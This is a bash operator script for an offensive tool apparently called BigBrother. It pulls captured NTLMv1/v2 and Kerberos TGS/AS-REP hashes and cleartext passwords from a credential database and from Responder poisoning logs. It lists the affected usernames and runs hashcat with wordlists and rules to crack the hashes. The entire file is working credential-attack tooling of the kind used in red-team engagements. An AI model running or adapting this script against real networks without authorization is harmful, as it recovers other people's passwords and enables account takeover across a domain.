#!/usr/bin/env bash # BigBrother Operator Script — Export and Crack Captured Hashes # # Exports credentials from BigBrother's credential database and Responder # logs into hashcat-ready format. Optionally runs hashcat with common # wordlists and rule sets. # # Usage: ./crack_hashes.sh [--crack] [--wordlist ] # # Examples: # ./crack_hashes.sh ./bb-pull-20240115 # Export only # ./crack_hashes.sh ./bb-pull-20240115 --crack # Export + crack # ./crack_hashes.sh ./bb-pull-20240115 --crack --wordlist /opt/wordlists/rockyou.txt # # Requires: sqlite3, hashcat (optional) set -euo pipefail RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' CYAN='\033[0;36m' NC='\033[0m' # --------------------------------------------------------------------------- # Arguments # --------------------------------------------------------------------------- DATA_DIR="${1:-}" DO_CRACK=false WORDLIST="${HASHCAT_WORDLIST:-/usr/share/wordlists/rockyou.txt}" RULES_FILE="${HASHCAT_RULES:-/usr/share/hashcat/rules/best64.rule}" shift || true while [[ $# -gt 0 ]]; do case "$1" in --crack) DO_CRACK=true ;; --wordlist) WORDLIST="$2"; shift ;; --rules) RULES_FILE="$2"; shift ;; *) echo -e "${RED}Unknown option: $1${NC}"; exit 1 ;; esac shift done if [[ -z "$DATA_DIR" ]]; then echo -e "${RED}Usage: $0 [--crack] [--wordlist ]${NC}" echo "" echo "Options:" echo " --crack Run hashcat after export" echo " --wordlist Wordlist for cracking (default: rockyou.txt)" echo " --rules Hashcat rules file (default: best64.rule)" echo "" echo "Environment:" echo " HASHCAT_WORDLIST Default wordlist path" echo " HASHCAT_RULES Default rules file path" exit 1 fi OUTPUT_DIR="$DATA_DIR/cracking-$(date +%Y%m%d-%H%M%S)" mkdir -p "$OUTPUT_DIR" echo -e "${CYAN}[*] BigBrother Hash Export & Cracking${NC}" echo -e " Data dir: ${DATA_DIR}" echo -e " Output: ${OUTPUT_DIR}" echo "" # --------------------------------------------------------------------------- # Export from credential database # --------------------------------------------------------------------------- CRED_DB="$DATA_DIR/databases/credentials.db" TOTAL_HASHES=0 if [[ -f "$CRED_DB" ]]; then echo -e "${YELLOW}[*] Exporting from credential database...${NC}" # NTLMv2 hashes (hashcat mode 5600) sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=5600 AND credential_value != ''" 2>/dev/null \ > "$OUTPUT_DIR/ntlmv2_5600.txt" || true count=$(wc -l < "$OUTPUT_DIR/ntlmv2_5600.txt" 2>/dev/null || echo 0) TOTAL_HASHES=$((TOTAL_HASHES + count)) echo -e " NTLMv2 (5600): ${count}" # NTLMv1 hashes (hashcat mode 5500) sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=5500 AND credential_value != ''" 2>/dev/null \ > "$OUTPUT_DIR/ntlmv1_5500.txt" || true count=$(wc -l < "$OUTPUT_DIR/ntlmv1_5500.txt" 2>/dev/null || echo 0) TOTAL_HASHES=$((TOTAL_HASHES + count)) echo -e " NTLMv1 (5500): ${count}" # Kerberos TGS (hashcat mode 13100) sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=13100 AND credential_value != ''" 2>/dev/null \ > "$OUTPUT_DIR/kerberos_tgs_13100.txt" || true count=$(wc -l < "$OUTPUT_DIR/kerberos_tgs_13100.txt" 2>/dev/null || echo 0) TOTAL_HASHES=$((TOTAL_HASHES + count)) echo -e " Kerberos TGS (13100): ${count}" # Kerberos AS-REP (hashcat mode 18200) sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=18200 AND credential_value != ''" 2>/dev/null \ > "$OUTPUT_DIR/kerberos_asrep_18200.txt" || true count=$(wc -l < "$OUTPUT_DIR/kerberos_asrep_18200.txt" 2>/dev/null || echo 0) TOTAL_HASHES=$((TOTAL_HASHES + count)) echo -e " Kerberos AS-REP (18200): ${count}" # Cleartext credentials (no cracking needed) sqlite3 "$CRED_DB" "SELECT username || ':' || credential_value FROM credentials WHERE hashcat_mode=0 AND credential_value != ''" 2>/dev/null \ > "$OUTPUT_DIR/cleartext.txt" || true count=$(wc -l < "$OUTPUT_DIR/cleartext.txt" 2>/dev/null || echo 0) echo -e " ${GREEN}Cleartext: ${count}${NC}" echo "" else echo -e "${YELLOW}[*] No credential database found${NC}" fi # --------------------------------------------------------------------------- # Export from Responder logs # --------------------------------------------------------------------------- RESPONDER_DIR="$DATA_DIR/responder" if [[ -d "$RESPONDER_DIR" ]]; then echo -e "${YELLOW}[*] Exporting from Responder logs...${NC}" # Collect NTLMv2 hashes from Responder log files for hashfile in "$RESPONDER_DIR"/*-NTLMv2-*.txt; do [[ -f "$hashfile" ]] || continue cat "$hashfile" >> "$OUTPUT_DIR/ntlmv2_5600.txt" done for hashfile in "$RESPONDER_DIR"/*-NTLMv1-*.txt; do [[ -f "$hashfile" ]] || continue cat "$hashfile" >> "$OUTPUT_DIR/ntlmv1_5500.txt" done # Deduplicate for f in "$OUTPUT_DIR"/*.txt; do [[ -f "$f" ]] || continue sort -u "$f" -o "$f" done count=$(wc -l < "$OUTPUT_DIR/ntlmv2_5600.txt" 2>/dev/null || echo 0) echo -e " NTLMv2 total (deduped): ${count}" count=$(wc -l < "$OUTPUT_DIR/ntlmv1_5500.txt" 2>/dev/null || echo 0) echo -e " NTLMv1 total (deduped): ${count}" echo "" fi # Remove empty files find "$OUTPUT_DIR" -name "*.txt" -empty -delete 2>/dev/null # --------------------------------------------------------------------------- # Summary of unique users # --------------------------------------------------------------------------- echo -e "${YELLOW}[*] Unique users with captured hashes:${NC}" for hashfile in "$OUTPUT_DIR"/ntlm*.txt; do [[ -f "$hashfile" ]] || continue mode=$(basename "$hashfile" | grep -o '[0-9]*') echo -e " ${CYAN}Mode $mode:${NC}" cut -d: -f1 "$hashfile" | sort -u | head -20 | sed 's/^/ /' total=$(cut -d: -f1 "$hashfile" | sort -u | wc -l) if [[ $total -gt 20 ]]; then echo -e " ... ($total total)" fi done echo "" # --------------------------------------------------------------------------- # Crack with hashcat (optional) # --------------------------------------------------------------------------- if $DO_CRACK; then if ! command -v hashcat &>/dev/null; then echo -e "${RED}[-] hashcat not found — install from https://hashcat.net${NC}" exit 1 fi if [[ ! -f "$WORDLIST" ]]; then echo -e "${RED}[-] Wordlist not found: $WORDLIST${NC}" exit 1 fi echo -e "${CYAN}[*] Running hashcat...${NC}" echo -e " Wordlist: ${WORDLIST}" echo -e " Rules: ${RULES_FILE}" echo "" POTFILE="$OUTPUT_DIR/hashcat.potfile" # Crack each hash type for hashfile in "$OUTPUT_DIR"/*.txt; do [[ -f "$hashfile" ]] || continue basename_hash=$(basename "$hashfile") # Skip cleartext and already-cracked [[ "$basename_hash" == "cleartext.txt" ]] && continue [[ "$basename_hash" == "cracked_"* ]] && continue # Extract hashcat mode from filename mode=$(echo "$basename_hash" | grep -oP '\d{4,5}' || echo "") if [[ -z "$mode" ]]; then continue fi count=$(wc -l < "$hashfile") if [[ $count -eq 0 ]]; then continue fi echo -e "${YELLOW}[*] Cracking $basename_hash ($count hashes, mode $mode)${NC}" # Run hashcat — dictionary + rules hashcat -m "$mode" -a 0 \ "$hashfile" "$WORDLIST" \ -r "$RULES_FILE" \ --potfile-path "$POTFILE" \ --outfile "$OUTPUT_DIR/cracked_${basename_hash}" \ --outfile-format 2 \ -O \ 2>/dev/null || true cracked=$(wc -l < "$OUTPUT_DIR/cracked_${basename_hash}" 2>/dev/null || echo 0) echo -e " ${GREEN}Cracked: $cracked / $count${NC}" echo "" done # --------------------------------------------------------------------------- # Cracking summary # --------------------------------------------------------------------------- echo -e "${GREEN}[+] Cracking complete${NC}" echo -e " Potfile: $POTFILE" echo "" echo -e "${CYAN}[*] Cracked credentials:${NC}" for cracked in "$OUTPUT_DIR"/cracked_*.txt; do [[ -f "$cracked" ]] || continue echo -e " ${GREEN}$(basename $cracked):${NC}" head -20 "$cracked" | sed 's/^/ /' done else echo -e "${CYAN}[*] Hash files exported to: $OUTPUT_DIR${NC}" echo " Run with --crack to start cracking" echo "" echo " Manual cracking examples:" echo " hashcat -m 5600 $OUTPUT_DIR/ntlmv2_5600.txt /path/to/wordlist.txt -r /path/to/rules" echo " hashcat -m 5500 $OUTPUT_DIR/ntlmv1_5500.txt /path/to/wordlist.txt" echo " hashcat -m 13100 $OUTPUT_DIR/kerberos_tgs_13100.txt /path/to/wordlist.txt" fi